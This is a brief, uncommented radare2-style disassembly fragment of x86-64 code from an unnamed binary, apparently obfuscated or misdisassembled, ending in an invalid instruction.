lea rsi, [r12*8 + 0x18ed7d14]
js 0x140ca911f
sete byte [rsp + 0x50]
sub byte [rsp + 0x68], 0xb4
xor byte [rsp + 0x50], 0xb9
call fcn.140ac0eb9
ja 0x1406a82cf
add word [rsp + 0x78], 0x55c1
cmp word [rsp + 0x78], si
jns 0x140b28f54
mov rsi, qword [rsp + 0xa0]
sub qword [rsp + 0x90], 0x26f90ddd
add byte [rsp + 0x90], 0x13
xor byte [rsp + 0x78], 0xe0
cmp byte [rsp + 0x78], 0x9d
jae 0x140ca9139
sub qword [rsp + 0x90], 0x787272f
cmp qword [rsp + 0x78], 0x16385dc2
call fcn.140bb3c00
xor byte [rax - 0x6b98862d], bl
jmp 0x15008e0fc
invalid